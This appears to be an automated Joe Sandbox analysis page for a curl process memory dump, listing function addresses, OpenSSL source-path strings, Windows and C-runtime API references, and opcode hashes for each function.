Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset$_memmove_raise
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\crypto\evp\evp_lib.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 2911876028-1656994109
Opcode ID: 228d11218937f9eb704028a33dda188532ea4b52161fba4afc01442a168a0c48
Instruction ID: bd8ee4989a704f57c90b1ce1051ad617ecb5e0701ce0c1d861cd1a24a46aea8b
Opcode Fuzzy Hash: 228d11218937f9eb704028a33dda188532ea4b52161fba4afc01442a168a0c48
Instruction Fuzzy Hash: DE72B0716043019BDB10DF68C845F9BB7E9BFC4708F08492DF5898B292EB75E945CB92

Function 009BAD20 Relevance: 32.2, APIs: 10, Strings: 8, Instructions: 712COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009BAF76
_memmove.LIBCMT ref: 009BAF99

Part of subcall function 00971910: _memset.LIBCMT ref: 0097191A

_memset.LIBCMT ref: 009BB02D
_memset.LIBCMT ref: 009BB074
_memmove.LIBCMT ref: 009BB0E7
_memmove.LIBCMT ref: 009BB102
_memmove.LIBCMT ref: 009BB190
_memset.LIBCMT ref: 009BB1E7

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 009BB69D
..\..\openssl\openssl\ssl\s3_cbc.c, xrefs: 009BB6BB
data_plus_mac_plus_padding_size < 1024*1024, xrefs: 009BB6B1
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 009BB6A7
mac_secret_length <= sizeof(hmac_pad), xrefs: 009BB689
..\..\openssl\openssl\ssl\s3_cbc.c, xrefs: 009BB693
j, xrefs: 009BB4A0
..\..\openssl\openssl\ssl\s3_cbc.c, xrefs: 009BB67F

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset$_memmove
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\ssl\s3_cbc.c$..\..\openssl\openssl\ssl\s3_cbc.c$..\..\openssl\openssl\ssl\s3_cbc.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE$data_plus_mac_plus_padding_size < 1024*1024$j$mac_secret_length <= sizeof(hmac_pad)
API String ID: 2532777613-1691931304
Opcode ID: 18413fd92950c9ac01790b0b5edf2c4d43b620934dc6bb25c991113b322a550c
Instruction ID: 1045be9b168c3efb9acfca723477f86b51c7eec043597b0a06ebaad3146c54b4
Opcode Fuzzy Hash: 18413fd92950c9ac01790b0b5edf2c4d43b620934dc6bb25c991113b322a550c
Instruction Fuzzy Hash: 50429D716083848FD720CB68C985BDFBBE9AFD9314F184A2DF48987291EB74D944CB52

Function 00996650 Relevance: 26.7, APIs: 3, Strings: 12, Instructions: 455COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00996B70
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009966E1
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 00996BD6
You need to read the OpenSSL FAQ, http://www.openssl.org/support/faq.html, xrefs: 00996BB4
gfff, xrefs: 00996690
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00996735
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00996BA2
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009966C5
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 00996BE0
...................., xrefs: 009967CF
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00996AF1
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00996865

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID:
String ID: ....................$..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$You need to read the OpenSSL FAQ, http://www.openssl.org/support/faq.html$ctx->digest->md_size <= EVP_MAX_MD_SIZE$gfff
API String ID: 0-1816848540
Opcode ID: f209c9bee897cf8cd6b94c51b59601caa402c331d61eb08813aed13ca2c6666a
Instruction ID: 955c08bf4aba08cd4725a8cf9e8ff3b3635bd73961ba643bcbc46eefb17a31e9
Opcode Fuzzy Hash: f209c9bee897cf8cd6b94c51b59601caa402c331d61eb08813aed13ca2c6666a
Instruction Fuzzy Hash: 3CF10130A083819BD710DFB8DC41B6BBBE4BF99700F05492DF996DB252E764D846CB92

Function 009B2360 Relevance: 23.4, APIs: 3, Strings: 10, Instructions: 647COMMON

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 009B241A
_memmove.LIBCMT ref: 009B2712
_memset.LIBCMT ref: 009B2880

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 009B2898
%s:%d: rec->data != rec->input, xrefs: 009B240C
..\..\openssl\openssl\ssl\t1_enc.c, xrefs: 009B2407
..\..\openssl\openssl\ssl\t1_enc.c, xrefs: 009B2799
..\..\openssl\openssl\ssl\t1_enc.c, xrefs: 009B2764
..\..\openssl\openssl\crypto\evp\evp_lib.c, xrefs: 009B273E, 009B2773, 009B2969
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 009B28A2
..\..\openssl\openssl\ssl\t1_enc.c, xrefs: 009B27FA
n >= 0, xrefs: 009B278F
n >= 0, xrefs: 009B275A

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _fprintf_memmove_memset
String ID: %s:%d: rec->data != rec->input$..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\crypto\evp\evp_lib.c$..\..\openssl\openssl\ssl\t1_enc.c$..\..\openssl\openssl\ssl\t1_enc.c$..\..\openssl\openssl\ssl\t1_enc.c$..\..\openssl\openssl\ssl\t1_enc.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE$n >= 0$n >= 0
API String ID: 797568609-747404481
Opcode ID: 1a1343e3e71a7d18680dac2ccbdd5f1b1e53c89034a7046fe94c5121ddd8c45d
Instruction ID: ed096f3e0692af9872907988ca255ddbe4eb61e7614d6517c9c92a0be0aa2faf
Opcode Fuzzy Hash: 1a1343e3e71a7d18680dac2ccbdd5f1b1e53c89034a7046fe94c5121ddd8c45d
Instruction Fuzzy Hash: 82328F316043018FDB14DF29C991BAAB3E6EF84324F14896DF8598B291EB74ED45CB92

Function 00988F40 Relevance: 21.7, APIs: 6, Strings: 6, Instructions: 685COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0098903F

Strings

..\..\openssl\openssl\ssl\t1_lib.c, xrefs: 009892CE
..\..\openssl\openssl\ssl\t1_lib.c, xrefs: 009891D2
..\..\openssl\openssl\ssl\t1_lib.c, xrefs: 009893C2
..\..\openssl\openssl\ssl\t1_lib.c, xrefs: 009891FA
..\..\openssl\openssl\ssl\t1_lib.c, xrefs: 009890C4
..\..\openssl\openssl\ssl\t1_lib.c, xrefs: 009897FA

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ..\..\openssl\openssl\ssl\t1_lib.c$..\..\openssl\openssl\ssl\t1_lib.c$..\..\openssl\openssl\ssl\t1_lib.c$..\..\openssl\openssl\ssl\t1_lib.c$..\..\openssl\openssl\ssl\t1_lib.c$..\..\openssl\openssl\ssl\t1_lib.c
API String ID: 4104443479-4012423179
Opcode ID: 9e1a03d5b3fe95d3eb504bd5bbb911a16d30187bde1d855211300487f784c4c7
Instruction ID: ec150b0ba1651d73eeb6b4bb25a8fad8c97a44659f486f605c8246cc4223743b
Opcode Fuzzy Hash: 9e1a03d5b3fe95d3eb504bd5bbb911a16d30187bde1d855211300487f784c4c7
Instruction Fuzzy Hash: D842B3706083428FD705DF28D984B6ABBE1FFD5704F08496DE4899B392D735E909CBA2

Function 009961A0 Relevance: 19.6, APIs: 2, Strings: 9, Instructions: 372COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00996468

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 00996604
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009965E5
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 0099634C
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00996572
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 0099620D
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 0099660E
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 0099624D
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00996277
gfff, xrefs: 0099630F

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE$gfff
API String ID: 2102423945-3750532213
Opcode ID: 8af405ed69ba815a55930aea08ea0b8252f89e095b019ca74c9808134614c7dd
Instruction ID: 771d3f813ca26e49bf6a0a65d682706a43b6d52cb51c0162ca19a88ef277520d
Opcode Fuzzy Hash: 8af405ed69ba815a55930aea08ea0b8252f89e095b019ca74c9808134614c7dd
Instruction Fuzzy Hash: B8D1CE31A043429BDB14CFA8DC41F6AB7E8BF84B00F05492DF995DB291EB74D946CB92

Function 0098AC50 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 77registrywindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4), ref: 0098AC66
GetFileType.KERNEL32(00000000), ref: 0098AC71
__vfwprintf_p.LIBCMT ref: 0098AC93

Part of subcall function 00A24753: _vfprintf_helper.LIBCMT ref: 00A24766

vswprintf.LIBCMT ref: 0098ACC9
GetVersion.KERNEL32 ref: 0098ACD9
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 0098ACF7
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 0098AD1B
DeregisterEventSource.ADVAPI32(00000000), ref: 0098AD22
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 0098AD4C

Strings

OPENSSL, xrefs: 0098ACF0
OpenSSL: FATAL, xrefs: 0098AD40

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportTypeVersion__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 1849508505-1348657634
Opcode ID: 917218922e9a9ed3bf6c2f464a09c3cfaf1087df97985c2dc7c6b50ed5cecad2
Instruction ID: 3bdd841dc6cc26f3be69e0efec3585766cc1c5a007cd2ad357fc815de766418b
Opcode Fuzzy Hash: 917218922e9a9ed3bf6c2f464a09c3cfaf1087df97985c2dc7c6b50ed5cecad2
Instruction Fuzzy Hash: F021D671604300ABE720FB60DD47FEF7798AF58700F40481AFA9AD61D0EAB590818753

Function 009EA420 Relevance: 17.9, APIs: 4, Strings: 6, Instructions: 370COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009EA4CE
_memmove.LIBCMT ref: 009EA4E2
_memset.LIBCMT ref: 009EA6D2

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 009EA885
..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 009EA7BD
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 009EA88F
..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 009EA497
..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 009EA475
..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 009EA82E

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset$_memmove
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\crypto\rsa\rsa_oaep.c$..\..\openssl\openssl\crypto\rsa\rsa_oaep.c$..\..\openssl\openssl\crypto\rsa\rsa_oaep.c$..\..\openssl\openssl\crypto\rsa\rsa_oaep.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 2532777613-3395805282
Opcode ID: 071d9f8358ed92101e984f964e0b3505dd1ccb34d421d8cd309dff92dac59cac
Instruction ID: 8e9215905490ed1f1ee36b9d031fee5a0b0e7ae0921283a888ea320eabb6cacc
Opcode Fuzzy Hash: 071d9f8358ed92101e984f964e0b3505dd1ccb34d421d8cd309dff92dac59cac
Instruction Fuzzy Hash: 64D1E231A043828BD701CF29C801BAEB7E5BFD5704F148A1DF4959B2A1E774E94ACB93

Function 00A101F0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 313COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00A10368
_memmove.LIBCMT ref: 00A103A6

Strings

Reading, xrefs: 00A102AF
%s %s on %s, xrefs: 00A102BD
Creating, xrefs: 00A102B4, 00A102BC
symlink, xrefs: 00A10298
realpath, xrefs: 00A102A4, 00A102AE

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: %s %s on %s$Creating$Reading$realpath$symlink
API String ID: 4104443479-1632318852
Opcode ID: 73dabbf3f399f78fd89a11c38f0a649b6b84bc9a421a6e543fcb0f358566eb80
Instruction ID: 104a5868b21c314ace0af201a04529c05944ae5ae4993b7cb237f35055cdf795
Opcode Fuzzy Hash: 73dabbf3f399f78fd89a11c38f0a649b6b84bc9a421a6e543fcb0f358566eb80
Instruction Fuzzy Hash: B1B106312042419FC714CF6C9C40BEABBE0EB85321F48867DEDA9DB281D775E959CBA1

Function 009323B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,0093D974), ref: 009323B7
_strncpy.LIBCMT ref: 009323E5
FormatMessageA.KERNEL32(00001000,00000000,00000000,00000000,?,000000FF,00000000,0093D974), ref: 0093240F
_strrchr.LIBCMT ref: 00932438
_strrchr.LIBCMT ref: 00932453
GetLastError.KERNEL32(?,?,?,?,0093D974), ref: 0093246B
SetLastError.KERNEL32(00000000,?,?,?,?,0093D974), ref: 00932476

